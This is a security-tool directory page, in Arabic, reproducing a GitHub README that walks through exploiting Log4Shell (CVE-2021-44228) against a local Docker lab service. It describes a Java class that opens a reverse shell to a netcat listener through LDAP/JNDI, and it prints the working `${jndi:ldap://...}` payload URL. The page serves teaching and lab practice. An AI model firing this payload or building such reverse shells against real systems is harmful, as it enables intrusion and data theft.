Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4j-vulnerability — يقدم كيفية استغلال ثغرة CVE-2021-44228. | Kitploit
أدوات/GitHubGitHub/marceloleite2604/log4j-vulnerability
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHub
marceloleite2604/log4j-vulnerability

log4j-vulnerability

يقدم كيفية استغلال ثغرة CVE-2021-44228.

عرض المستودع
18منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة LOG4J

مشروع قائم على Java يوضح كيفية استغلال ثغرة CVE-2021-44228.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

المتطلبات

  • نظام تشغيل قائم على Linux: استخدمت Ubuntu Desktop 20.10 64 bits
  • OpenJDK 17.0.1: لبناء برنامج الاستغلال. قد تعمل الإصدارات الأحدث أيضًا.
  • Oracle Java Development Kit (JDK) 1.8.0_181: هذا ضروري لكي يعمل الاستغلال. ليس من الضروري تثبيته، لكن المشروع يحتاج إلى استخراجه في المجلد الجذر. يمكن العثور على JDK في صفحة تنزيلات أرشيف Oracle Java SE 8 (JDK 8u202 والإصدارات الأقدم).
  • Apache Maven 3.6.3: لإدارة التبعيات وإنشاء ملفات jar. قد تعمل الإصدارات الأحدث أيضًا.
  • Docker 20.10.12: لإدارة الحاوية التي تحتوي على الخدمة المراد استغلالها. قد تعمل الإصدارات الأحدث أيضًا.
  • Docker-compose 1.29.2: للمساعدة في تنسيق إنشاء الصور بالإضافة إلى إنشاء الحاويات وتنفيذها وإزالتها. قد تعمل الإصدارات الأحدث أيضًا.
  • GNU Make 4.3: يستخدم هذا المشروع Makefile للمساعدة في التحقق من الملفات الإلزامية وإنشائها. قد تعمل الإصدارات الأحدث أيضًا.
  • OpenBSD Netcat (المعروف أيضًا باسم nc): لإنشاء الاتصال بالخادم المخترق. يمكن تثبيت هذه الحزمة من خلال مدير حزم توزيعة Linux الخاصة بك (مثل apt).
  • (موصى به) IntelliJ IDEA Community Edition 2021.3.1: إذا كنت ترغب في معرفة ما بداخل هذه المشاريع، فإنني أوصي بتثبيت بيئة التطوير المتكاملة هذه. مرة أخرى، قد تعمل الإصدارات الأحدث أيضًا.

التنفيذ

  1. استنسخ هذا المستودع إلى جهازك المحلي.
  2. قم بتنزيل صفحة تنزيلات أرشيف Oracle Java SE 8 (JDK 8u202 والإصدارات الأقدم) واستخراجها في المجلد الجذر للمشروع. احتفظ بها داخل المجلد jdk1.8.0_181 الذي تم إنشاؤه أثناء الاستخراج.
  3. قم بتشغيل make all لبناء جميع المشاريع وإنشاء صورة Docker مع الخدمة المعرضة للخطر.
  4. افتح ثلاث محطات طرفية وقم بتشغيل الأوامر التالية:
    1. المحطة الأولى: make start-vulnerable-service لبدء حاوية Docker تشغل الخدمة المراد استغلالها. ستكون الخدمة متاحة عبر المنفذ 8080 على الجهاز المحلي
    2. المحطة الثانية: make start-nc لبدء مستمع TCP الذي سينتظر إنشاء الاتصال بالخادم المخترق.
    3. المحطة الثالثة: make start-exploiter لبدء البرنامج الذي سيساعدنا في استغلال الثغرة.
  5. بعد بدء تشغيل المحطة الثالثة، سيعرض برنامج المستغل عنوان URL للوصول. الصقه في متصفحك لبدء الاستغلال.
  6. إذا حدث كل شيء كما هو متوقع، فلن يتلقى المتصفح ردًا وسيظل المتصفح عالقًا في حالة تحميل.
  7. تحقق الآن من المحطة الثانية (التي تم فيها تنفيذ make start-nc). قد تكون تلقيت رسالة مثل Connection received on 172.24.0.2 46638 (قد لا يكون عنوان IP ومنفذ TCP مماثلين لما هو معروض هنا). هذا يعني أن الاستغلال نجح وأصبح لدينا الآن شل متصل بالخادم/حاوية Docker.
  8. للتأكد من أن كل شيء حدث كما هو متوقع، حاول تنفيذ أمر whoami. قد تتلقى root كمخرج.
  9. الآن حاول تشغيل cat ../private-directory/my-secret-file.txt لترى ما يحدث. 🙂
  10. بمجرد الانتهاء من العبث بالخادم، اضغط CTRL+C لإغلاق الاتصال.
  11. يمكنك أيضًا الضغط على CTRL+C في المحطات الأخرى لمقاطعة العمليات.

كيف يعمل؟

قبل الإجابة على ذلك، دعنا نلقي نظرة على العمليات التي تم إنشاؤها خلال التدفق.

log4-vulnerability processeses

حاوية Docker

ستقدم حاوية Docker هذه خدمة HTTP بسيطة مسؤولة عن استقبال طلبات GET على المسار /log مع معامل input. بمجرد استلامها، تسجل الإدخال على وحدة التحكم.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

من أجل استغلال الثغرة، يلزم تكوينات محددة:

  • إصدار بيئة تشغيل Java (JRE) المستخدمة لتشغيل الخدمة هو 1.8.0_181. هذا ضروري للسماح بتحميل فئة Java من خدمة خارجية.
  • يجب تعديل تبعيات مشروع Java بشكل كبير لاستبدال spring-boot-starter-logging:2.6.1 الافتراضي بـ spring-boot-starter-log4j2:2.6.1. الأخير يجلب log4j-core:2.14.1 إلى المشروع، وهو إصدار معرض لـ CVE-2021-44228.

dependency-tree

  • تم إنشاء ملف Jar للخدمة باستخدام إصدار مترجم Java 1.8.0_181.

برنامج Netcat (nc)

لا توجد تفسيرات أو تعديلات كبيرة هنا. هذا برنامج بسيط يُستخدم لقراءة وكتابة البيانات عبر بروتوكولات TCP و UDP. سنستخدمه للاستمرار في الاستماع للاتصالات TCP الواردة على المنفذ 9001 (شيء آخر سيفتح هذا الاتصال لنا على جانب الخادم. 😉).

بمجرد إنشاء الاتصال، سيتم إخراج جميع البيانات الواردة على وحدة التحكم. أيضًا، سيتم إرسال جميع المدخلات المكتوبة عبر هذا الاتصال.

المستغل

الآن هنا تبدأ المتعة!

يغلف هذا البرنامج عدة خطوات مطلوبة لاستغلال الثغرة. دعنا نقسمها:

وسائط التنفيذ

لتشغيل هذا البرنامج، نحتاج إلى إبلاغ ثلاث معاملات:

  1. عنوان IP لخادم HTTP و Netcat/المضيف: لاستغلال الثغرة، سنحتاج إلى عنوان IP لخادم HTTP بالنسبة للخدمة المعرضة للخطر حتى يتمكن رد LDAP لدينا من توجيهه لتنزيل فئة Java المجمعة من خلاله. سيتم استخدامه أيضًا بواسطة فئة Java نفسها لفتح اتصال TCP مع Netcat (كما هو موضح أعلاه).
  2. منفذ خادم HTTP: المنفذ الذي سيقبل فيه خادم HTTP المسؤول عن إرسال فئة Java المجمعة الاتصالات. سيتم إرساله أيضًا مع رد LDAP لإعلام المنفذ الذي سيتم تنزيل فئة Java المجمعة منه.
  3. منفذ Netcat: المنفذ الذي يستمع فيه Netcat للاتصالات. سيتم استخدامه بواسطة فئة Java المجمعة لفتح اتصال TCP مع Netcat.

فئة Java الخاصة بالاستغلال

بمجرد بدء البرنامج، سيكتب كود Java بناءً على قالب. يتطلب هذا القالب وسيطرين: عنوان IP ومنفذ Netcat.

بمجرد كتابة الكود، سيقوم البرنامج بتجميعه إلى ملف فئة ثنائي باستخدام مترجم Java (javac) إصدار 1.8.0_181. هذا مهم للحفاظ على نفس إصدار الكود مثل الخدمة المستغلة.

تحتوي فئة Java الخاصة بالاستغلال على بنية بسيطة إلى حد ما. في الباني الخاص بها، يوجد تعليمة تطلب من نظام التشغيل إنشاء برنامج شل. بمجرد إنشائه، تفتح الفئة اتصال TCP مع Netcat، وتربط مدخلات ومخرجات الشل واتصال TCP، وتحتجز تنفيذ آلة Java الافتراضية في حلقة حتى يتم إغلاق الاتصال بواسطة Netcat. بمجرد الخروج من الحلقة، يستمر الباني كما لو لم يحدث شيء.

برنامج Marshalsec

يفتح المستغل عملية فرعية تطلب تنفيذ برنامج Java Marshalsec. برنامج Marshalsec متاح في مشروع mbechler/marchalsec على Github.

إلى جانب وظائف أخرى، يقوم بإدارة طلبات LDAP ويمكن استخدامه لطلب حل الاتصالات الواردة للطلبات عن طريق تنزيل فئات Java من مصدر خارجي. في حالتنا، سنستخدمه لطلب تنزيل الاتصالات الواردة لفئة Java الخاصة بنا Exploit من خدمة HTTP.

خدمة HTTP

بمجرد أن يقوم برنامج المستغل بإنشاء فئة Java المزيفة، سيبدأ خدمة HTTP برد واحد: فئة Java الثنائية الخاصة بالاستغلال.

باختصار، عندما تطلب الخدمة المعرضة للخطر تحميل الفئة الخارجية، ستقرأ هذه الخدمة ملف فئة Java الثنائي وترسله مرة أخرى إلى الخدمة المعرضة للخطر. بهذه البساطة!

طلب HTTP واحد للسيطرة على الكل

بمجرد أن يكون كل شيء جاهزًا ويعمل، سيقوم البرنامج بعد ذلك بإخراج طلب HTTP المطلوب لبدء الاستغلال. ما عليك سوى نسخه ولصقه في متصفحك المفضل أو استخدام curl عبر محطة طرفية، أيهما يناسبك!

سيكون الطلب مشابهًا لهذا:

http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

نظرًا لأن معاملات الاستعلام تحتوي على أحرف خاصة، فإنها تحتاج إلى ترميز حتى يتمكن المتصفح من قبولها. إذا قمنا بفك تشفيرها، ستكون الرسالة:

http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

تدفق الاتصال

فيما يلي مخطط مبسط لما يحدث بمجرد إرسال الطلب:

تنزيل الأداة